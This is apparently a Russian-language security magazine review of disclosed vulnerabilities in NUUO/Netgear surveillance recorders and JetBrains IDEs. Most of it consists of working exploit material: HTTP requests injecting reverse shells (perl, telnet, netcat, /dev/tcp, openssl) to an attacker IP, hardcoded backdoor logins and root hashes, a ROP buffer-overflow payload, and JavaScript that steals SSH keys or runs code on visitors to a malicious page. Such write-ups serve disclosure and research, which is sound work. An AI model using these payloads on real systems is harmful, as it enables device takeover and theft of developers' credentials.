Содержание статьи
В сегодняшнем обзоре мы пройдемся по многочисленным уязвимостям в продуктах компании NUUO, которая занимается разработкой систем для камер наблюдения. Помимо этого, разберем несколько уязвимостей, которым были подвержены популярные среды разработки компании JetBrains (PyCharm, IntelliJ IDEA, WebStorm и другие): удаленное выполнение кода и раскрытие файлов.
Многочисленные уязвимости в NUUO NVRmini 2 / NVRsolo / Crystal devices и Netgear ReadyNAS Surveillance
CVSSv2
Нет
BRIEF
Дата релиза: 4 августа 2016 года
Автор: Педру Рибейру (Pedro Ribeiro), Agile Information Security
CVE: CVE-2016-5674, CVE-2016-5675, CVE-2016-5676, CVE-2016-5677, CVE-2016-5678, CVE-2016-5679
NUUO — разработчик систем Network Video Recording (NVR) для камер наблюдения. NVR — это встраиваемые системы на Linux для управления камерами, они широко используются по всему миру — в госучреждениях, институтах, банках, малых и средних предприятиях. Помимо прочего, в этих системах есть пакет ПО Netgear, которое дает возможность записывать видео и вести мониторинг по сети при помощи хорошо известных систем хранения данных Netgear ReadyNAS.
Веб-интерфейс такой системы содержит ряд критических уязвимостей, которые могут быть проэксплуатированы неавторизованным атакующим. Эти уязвимости состоят из оставленных разработчиками бэкдоров-мониторов, предположительно для использования инженерами NUUO. Проблемой стали захардкоженные данные для авторизации, недостаточная проверка вводимых данных и переполнение буфера, которое позволяет выполнить произвольный код от имени root (в устройствах NUUO) и admin (для Netgear).
Автором эксплоита были протестированы устройства NVRmini 2, NVRsolo, Crystal и ReadyNAS Surveillance, но остальные продукты NUUO и другие сторонние устройства (к примеру, NUUO Titan) тоже могут быть уязвимы.
EXPLOIT
Уязвимость 1. Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Веб-интерфейс содержит скрытый файл с именем __debugging_center_utils___.php
, который неправильно проверяет параметр log
и передает его значение в функцию system()
.
<?php
function print_file($file_fullpath_name)
{
$cmd = "cat " . $file_fullpath_name;
echo $file_fullpath_name . "\n\n";
system($cmd);
}
if (isset($_GET['log']) && !empty($_GET['log']))
{
$file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']);
print_file($file_fullpath_name);
}
else
{
die("unknown command.");
}
Доступ к этому файлу может получить любой неавторизованный пользователь. В итоге мы можем сделать следующее:
ReadyNAS Surveillance. Пример открытия бэк-шелла на адрес 192.168.1.204:9000 с правами admin:
GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b'
NVRmini 2 и NVRsolo. Пример открытия двух шеллов на адрес 192.168.1.204, один на 9999-м порту, а другой — на 9998-м. Выполнение команд идет на 9999-м порту, а вывод получает 9998-й порт. Команды выполняются с правами root:
GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998
Уязвимость 2. Неправильная проверка вводимых данных приводит к удаленному выполнению кода
Скрипт handle_daylightsaving.php
недостаточно надежно проверяет параметр NTPServer
и передает его значение в функцию system()
.
else if ($act == 'update')
{
$cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']);
$find_str = "time server";
$sys_msg = system($cmd);
$pos = strpos($sys_msg, $find_str);
Для доступа к этому файлу уже нужна учетная запись авторизованного пользователя с правами администратора.
ReadyNAS Surveillance. Создаем файл /tmp/test
с выводом команды whoami
:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test
NVRmini 2 и NVRsolo. Открываем шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f
Crystal. Можем открыть шелл с правами root:
GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26
Уязвимость 3. Сброс пароля администратора
В старых версиях прошивок и приложения ReadyNAS Surveillance неавторизованные пользователи могли обратиться к файлу cgi_system
из веб-интерфейса. Этот файл позволяет выполнять несколько интересных системных команд, таких как загрузка настроек по умолчанию. Это позволяет сбросить пароль администратора. Похоже, что версии 2.2.1 и 3.0.0 прошивок NVRmini 2 и NVRsolo уже не уязвимы, хотя ReadyNAS Surveillance по-прежнему содержит уязвимость:
GET /cgi-bin/cgi_system?cmd=loaddefconfig
Уязвимость 4. Раскрытие информации
В веб-интерфейсе есть скрытый файл __nvr_status___.php
с захардкоженными логином и паролем, которые позволяют просмотреть список текущих процессов, информацию о доступной памяти и статус файловой системы. Эта информация может быть получена неавторизованным пользователем с помощью следующего запроса:
POST /__nvr_status___.php HTTP/1.1
username=nuuoeng&password=qwe23622260&submit=Submit
Уязвимость 5. Захардкоженный пароль администратора
NVRmini 2 и NVRsolo содержат два захардкоженных пароля для пользователя root (один закомментирован). У авторов эксплоита не получилось их подобрать, но они есть во всех устройствах NVRmini 2 и NVRsolo.
NVRmini 2
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7:::
NVRsolo
#root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7:::
root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7:::
Уязвимость 6. Инъекция команд в transfer_license
У этой уязвимости есть ограничение: для удаленной атаки требуется аккаунт администратора, а для локальной — права авторизованного пользователя.
В команду transfer_license
можно внедрить свою команду через параметр sn
:
cgi_main?cmd=transfer_license&method=offline&sn=";<command>;#
Эти данные будут переданы напрямую в C-функцию system()
в исполняемом файле cgi_main
(дальше мы подробнее рассмотрим этот фрагмент кода).
NVRmini 2. Можно открыть шелл на порту 4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23
В Netgear Surveillance нет netcat, но можно получить OpenSSL реверс-шелл по адресу 192.168.133.204:4444:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23
Эту уязвимость может использовать любой авторизованный пользователь для повышения своих прав до root или admin с помощью следующей команды:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
Исполняемый файл cgi_main
находится в /apps/surveillance/bin/cgi_main
на устройстве ReadyNAS. В NVRmini 2 это /NUUO/bin/cgi_main
.
Уязвимость 7. Переполнение буфера в команде transfer_license
Здесь те же ограничения, что и у предыдущей уязвимости. Для удаленной атаки нужен аккаунт администратора, для локальной — авторизованного пользователя.
Параметр sn
из метода transfer_license
подвержен не только уязвимости типа инъекции команд, но и переполнению буфера.
Функция 0x20BC9C (NVRmini 2 firmware v3.0.0):
method = getval("method");
sn = getval("sn");
(...)
memset(&command, 0, 128);
sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn);
system(&command);
Как видишь, значение этого параметра копируется напрямую в строку с фиксированной длиной из 128 символов.
Выполняем следующий запрос:
GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaa...aaaaaaaaaa
И получаем падение со следующей информацией:
Core was generated by `/NUUO/bin/cgi_main'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x61616160 in ?? ()
(gdb) i r
r0 0x0 0
r1 0x0 0
r2 0x407aa4d0 1081779408
r3 0x407aa9e0 1081780704
r4 0x61616161 1633771873
r5 0x61616161 1633771873
r6 0x61616161 1633771873
r7 0x61616161 1633771873
r8 0x331fc8 3350472
r9 0x1 1
r10 0x33db54 3398484
r11 0x0 0
r12 0x1 1
sp 0xbedce528 0xbedce528
lr 0x61616161 1633771873
pc 0x61616160 0x61616160
cpsr 0x60000030 1610612784
(gdb)
Отправлять запрос можно при помощи как GET, так и POST.
По значениям регистров уже видно, что мы можем контролировать часть из них.
В таблице ниже приведена информация о наличии техник по противостоянию эксплоитам в прошивках разных устройств:
Еще одно ограничение — не должно быть нулевых байтов.
Ниже представлен пример эксплоита для NVRmini 2 (версия прошивки 3.0.0), который открывает шелл на порту 4444, используя несколько гаджетов ROP для обхода NX. Эти гаджеты взяты из libc-2.15.so
, которая в прошивки версии 3.0.0 всегда грузится по адресу 4066c000
:
0x00018ba0 : pop {r3, lr} ; bx lr -> находится в 40684BA0 (первый гаджет, устанавливает r3 для следующего гаджета)
0x000f17cc : mov r0, sp ; blx r3 -> находится в 4075D7CC (второй гаджет, устанавливает аргументы для system)
0x00039ffc : system() -> находится по адресу 406A5FFC (берет значения из r0, указывающие на sp, и выполняет их)
Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &")
Пример запроса:
sn=aaaaaaaaaaaaaaaaaaa...aaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26
Остальные прошивки будут иметь другие гаджеты.
Локально эту уязвимость можно использовать так:
CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>'
Оригинальный технический отчет с более подробной информацией об уязвимости типа «переполнение буфера» приведен в блоге автора.
TARGETS
- NUUO NVRmini 2, прошивки от 1.7.5 до 3.0.0 (старые версии прошивок тоже могут быть уязвимы);
- NUUO NVRsolo, прошивки версий 1.0.0—3.0.0;
- ReadyNAS Surveillance, прошивки 1.1.1—1.4.1 (уязвимы и x86-, и ARM-версии, старые версии прошивок тоже могут быть уязвимы);
- остальные продукты NUUO, которые используют такой же веб-интерфейс, тоже могут быть уязвимы.
SOLUTION
Об исправлениях на момент написания статьи не было известно. Разработчики так и не ответили исследователям в течение примерно полугода.
Удаленное выполнение кода и раскрытие файлов в JetBrains IDE
CVSSv2
Нет
BRIEF
Дата релиза: 15 августа 2016 года
Автор: Джордан Милн (Jordan Milne)
CVE: нет
С 2013 года по май 2016-го в средах разработки компании JetBrains существовала уязвимость типа «раскрытие локальных файлов», а в версиях для Windows и OS X было возможно еще и удаленное выполнение кода. Уязвимости подвержены PyCharm, Android Studio, WebStorm, IntelliJ IDEA и еще несколько продуктов. Единственным условием для атаки было посещение жертвой веб-страницы, которую контролирует атакующий, при открытой уязвимой IDE.
Источник проблем — веб-сервер WebStorm, который с 2013 года стал поставляться вместе с IDE JetBrains. Атаки оказались возможными из-за того, что он был все время активен, а cross-origin resource sharing допускал любые источники.
Выполнение произвольного кода на Windows и OS X стало возможным для всех IDE начиная с версий, вышедших 13 июля 2015 года. Но есть вероятность, что уязвимые IDE встречались и раньше.
Изначально автор эксплоита Джордан Милн исследовал межпротокольные коммуникации в поисках интересных целей. Он начал с изучения сервисов, которые были запущены на его собственной машине. Запустив lsof -P -ITCP | grep LISTEN
, он увидел список программ, которые слушают локальные TCP-порты.
$ lsof -P -iTCP | grep LISTEN
# ...
pycharm 4177 user 289u IPv4 0x81a02fb90b4eef47 0t0 TCP localhost:63342 (LISTEN)
В качестве основной IDE Милн использовал PyCharm, но никогда не знал, что эта программа биндит порт. Чтобы узнать подробности, исследователь натравил на этот порт Nmap:
$ nmap -A -p 63342 127.0.0.1
# [...]
PORT STATE SERVICE VERSION
63342/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port63342-TCP:V=6.46%I=7%D=8/2%Time=57A0DD64%P=x86_64-apple-darwin13.1.
SF:0%r(GetRequest,173,"HTTP/1\.1\x20404\x20Not\x20Found\r\ncontent-type:\x
# [...]
На вид — обычный сервер HTTP. Для локального приложения это странно. Смотрим заголовки CORS.
$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/"
> GET / HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 404 Not Found
[...]
< access-control-allow-origin: http://attacker.com/
< vary: origin
< access-control-allow-credentials: true
< access-control-allow-headers: authorization
< access-control-allow-headers: origin
< access-control-allow-headers: content-type
< access-control-allow-headers: accept
<
* Connection #0 to host 127.0.0.1 left intact
<!doctype html><title>404 Not Found</title><h1 style="text-align: center">404 Not Found</h1><hr/><p style="text-align: center">PyCharm 5.0.4</p>
Получается, что в HTTP-сервере PyCharm любым веб-страницам (например, http://attacker.com) разрешается отправлять авторизованные запросы и читать ответ.
Поискав в интернете материалы, которые бы объяснили предназначение этого порта, Милн узнал, что в начале 2013 года в IDE добавили сервер WebStorm. Идея была в том, чтобы не поднимать свой веб-сервер для просмотра результатов разработки в браузере. Стало достаточно кликнуть на кнопку View in browser
внутри WebStorm, чтобы она открыла браузер по адресу http://localhost:63342/<projectname>/<your_file.html>
. Остальные скрипты на странице подключаются по тому же адресу. К примеру, http://localhost:63342/<projectname>/some_script.js
.
Осталось проверить, что в PyCharm встроен тот же сервер, что и в WebStorm. Для этого Милн в PyCharm создал проект testing, поместил файл something.txt в его корневую директорию и попробовал скачать его из командной строки.
$ curl -v -H "Origin: http://attacker.com/" "http://127.0.0.1:63342/testing/something.txt"
> GET /testing/something.txt HTTP/1.1
> Host: 127.0.0.1:63342
> User-Agent: curl/7.43.0
> Accept: */*
> Origin: http://attacker.com/
>
< HTTP/1.1 200 OK
[...]
< access-control-allow-origin: http://attacker.com/
[...]
these are the file contents!
Выходит, что любой сайт может читать любые файлы проекта, если знает нужное имя проекта и имя файла. Очевидно, что многие проекты включают конфигурационные файлы с важными данными (например, с ключами от AWS). Ниже представлен фрагмент JavaScript из страницы на attacker.com
. Он, по сути, делает примерно то же, что и curl в примере выше.
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:63342/testing/something.txt", true);
xhr.onload = function() {alert(xhr.responseText)};
xhr.send();
</script>
Получить доступ к интересным файлам уже неплохо, но этот эксплоит можно развить до более боевого.
EXPLOIT
Посмотрим, нельзя ли читать файлы вне директории проекта. К примеру, атакующему могут быть интересны ключи SSH и подобные вещи — они обычно находятся в стандартных местах. Но для начала попробуем подняться на несколько каталогов выше.
$ curl -v "http://localhost:63342/testing/../../../.ssh/id_rsa"
* Rebuilt URL to: http://localhost:63342/.ssh/id_rsa
По спецификации фрагменты с точками должны быть нормализованы на клиенте или на сервере, то есть вместо /../
должно быть %2F..%2F
. Но нам повезло: PyCharm правильно понимает URL-кодированные символы и приводит их к изначальному виду.
$ curl -v "http://localhost:63342/testing/..%2f..%2f.ssh/id_rsa"
> GET /testing/..%2f..%2f.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]
Успех! Единственное ограничение — мы должны знать, как называется проект жертвы, так как, если обратиться по неправильному адресу (/invalidproject/<anything>
), веб-сервер всегда будет возвращать ошибку 404.
Если название неизвестно, то можно попробовать использовать словарь с часто встречающимися названиями и запрашивать файл с метаданными workspace.xml
, который JetBrains автоматически добавляет в большинство проектов.
$ curl --head "http://localhost:63342/testing/.idea/workspace.xml"
HTTP/1.1 200 OK
$ curl --head "http://localhost:63342/somethingelse/.idea/workspace.xml"
HTTP/1.1 404 Not Found
Получив ответ 200
, мы убеждаемся, что проект существует.
Финальный эксплоит выглядит следующим образом:
function findLoadedProject(cb) {
var xhr = new XMLHttpRequest();
// Проверяем наличие директорий
var possibleProjectNames = ["foobar", "testing", "bazquux"];
var tryNextProject = function() {
if (!possibleProjectNames.length) {
cb(null);
return;
}
var projectName = possibleProjectNames.pop();
xhr.open("GET", "http://localhost:63342/" + projectName + "/.idea/workspace.xml", true);
xhr.onload = function() {
if(xhr.status === 200) {
cb(projectName);
} else {
tryNextProject();
}
};
xhr.send();
};
}
var findSSHKeys = function(projectName) {
var xhr = new XMLHttpRequest();
var depth = 0;
var tryNextDepth = function() {
// Увы, директория для SSH-ключей не найдена
if(++depth > 15) {
return;
}
// Есть шанс, что и `.ssh`, и директория проекта находятся в домашней папке пользователя Chances
// Пытаемся пройтись по дереву
dotSegs = "..%2f".repeat(depth);
xhr.open("GET", "http://localhost:63342/" + projectName + "/" + dotSegs + ".ssh/id_rsa.pub", true);
xhr.onload = function() {
if (xhr.status === 200) {
console.log(xhr.responseText);
} else {
tryNextDepth();
}
};
xhr.send();
}
};
findLoadedProject(function(projectName) {
if(projectName) {
console.log(projectName, "is a valid project, looking for SSH key");
findSSHKeys(projectName);
} else {
console.log("Failed to guess a project name");
}
});
У этого способа нет ограничений, и автор эксплоита с его помощью перебирал по 2000 названий проектов в секунду.
Обходимся без перебора названия проекта
Чтобы не перебирать названия, Милн стал искать доступные API, которые предоставляет веб-сервер PyCharm. И в итоге нашел точку входа вида /api/internal
, которая соответствует JetBrainsProtocolHandlerHttpService
. Она позволяет передавать данные в JSON, содержащие URL со схемой jetbrains:
. Затем IDE что-то с ними делает. Автор эксплоита пишет, что не смог найти документации по этим URL, так что пришлось изучать самостоятельно.
Многообещающе, в частности, выглядит обработчик jetbrains://<project_name>/open/<path>
.
public class JBProtocolOpenProjectCommand extends JBProtocolCommand {
public JBProtocolOpenProjectCommand() {
super("open");
}
@Override
public void perform(String target, Map<String, String> parameters) {
String path = URLDecoder.decode(target);
path = StringUtil.trimStart(path, LocalFileSystem.PROTOCOL_PREFIX);
ProjectUtil.openProject(path, null, true);
}
}
Этот код позволяет открыть проект по абсолютному пути. К примеру, директория /etc
есть в большинстве *nix-подобных систем. Попытаемся открыть ее:
$ curl "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//etc"}'
И получаем ошибку.
Открыть можно только директорию со структурой проекта JetBrains. К счастью, PyCharm 2016.1 и выше идет с такой структурой, причем в системном каталоге. В OS X это выглядит следующим образом: /Applications/PyCharm.app/Contents/helpers
. Попробуем открыть:
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//Applications/PyCharm.app/Contents/helpers"}'
Получилось! Теперь нам даже не требуется искать точное имя проекта, так как мы знаем проект, который всегда есть. В Linux стандартной директории для PyCharm может не быть, так как многие скачивают дистрибутив в виде архива tar и распаковывают куда бог на душу положит. Однако путь можно определить, выполнив запрос /api/about?more=true
и найдя ключ homePath
.
{
"name": "PyCharm 2016.1.2",
"productName": "PyCharm",
"baselineVersion": 145,
"buildNumber": 844,
"vendor": "JetBrains s.r.o.",
"isEAP": false,
"productCode": "PY",
"buildDate": 1460098800000,
"isSnapshot": false,
"configPath": "/home/user/.PyCharm2016.1/config",
"systemPath": "/home/user/.PyCharm2016.1/system",
"binPath": "/home/user/opt/pycharm/bin",
"logPath": "/home/user/.PyCharm2016.1/system/log",
"homePath": "/home/user/opt/pycharm"
}
Теперь у нас есть открытый проект helpers
, мы определили домашнюю директорию с помощью ответа от /api/about?more=true
и можем составить запрос для получения пользовательских ключей SSH. Путь будет примерно следующим: /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/<user>/.ssh/id_rsa
.
$ curl -v "http://localhost:63342/helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa"
> GET /helpers/..%2f..%2f..%2f..%2f..%2f..%2fhome/user/.ssh/id_rsa HTTP/1.1
[...]
>
< HTTP/1.1 200 OK
< content-type: application/octet-stream
< server: PyCharm 5.0.4
[...]
<
ssh-rsa AAAAB3NzaC[...]
Эксплуатация в Windows
Трюк с helpers
, описанный выше, работает, только если у пользователя есть PyCharm 2016.1. Но как быть с другими IDE? Вернемся к обработчику jetbrains://project/open
и проверим, какие еще пути он может открывать. Выбор Милна пал на пути UNC. Это специальные пути Windows, которые позволяют указать на файлы, доступные по сети по адресам вида \\servername\sharename\filepath
. Множество Windows API для работы с файлами (и Java API, которые выступают обертками к ним) понимают такие пути и могут получать доступ к ресурсам, расшаренным на других машинах по SMB. В результате читать и записывать такие файлы можно точно так же, как и на локальной машине. Если мы сможем заставить IDE открыть проект из нашей шары, то нам не придется гадать, как называется проект на машине жертвы.
В качестве теста автор поднял шару Samba с именем anontesting
без авторизации, которая содержала проект JetBrains, а затем попытался открыть ее:
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open/\\\\smb.example.com\\anonshare\\testing"}'
Провайдер со стороны атакуемой машины не заблокировал исходящий трафик. Это позволяет загрузить произвольный проект с подконтрольного нам удаленного ресурса. Однако такое поведение позволяет не только читать произвольные файлы в системе.
Каждый проект в JetBrains IDE имеет возможность установить задачи после запуска. К примеру, в PyCharm это Python-скрипт, а в Android Studio и IntelliJ IDEA — файл jar. Они будут автоматически срабатывать после загрузки проекта. Добавим в корневой каталог «атакующего» проекта скрипт hax.py
.
Скрипт будет содержать всего две строчки :).
import os
os.system("calc.exe")
Загрузим проект на наш сервер с Samba и сделаем страницу со следующим содержимым:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open/\\\\\\\\123.456.789.101\\\\anonshare\\\\testing"}');
</script>
После того как жертва зайдет на наш сайт, у нее появится...
Тот же трюк в OS X
OS X автоматически монтирует удаленные файловые системы NFS, когда обращаешься к ним через /net
. Это значит, что мы можем применить механизм, похожий на тот, что использовали в Windows. Создаем анонимный сервер NFS, кладем туда проект и открываем /net/<hostname>/<sharename>/<projectname>
. Проверяем:
$ curl -v "http://127.0.0.1:63342/api/internal" --data '{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}'
Вот готовый скрипт для страницы:
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:63342/api/internal", true);
xhr.send('{"url": "jetbrains://whatever/open//net/nfs.example.com/anonshare/testing"}');
</script>
Я опустил подробности общения с разработчиком по поводу устранения уязвимости, но ты можешь прочитать их в оригинальной статье в блоге Милна.
TARGETS
Среды, основанные на JetBrains версий с начала 2013 года по май 2016 года (PyCharm, Android Studio, WebStorm, IntelliJ IDEA и другие).
SOLUTION
Есть исправление от производителя за 11 мая 2016 года.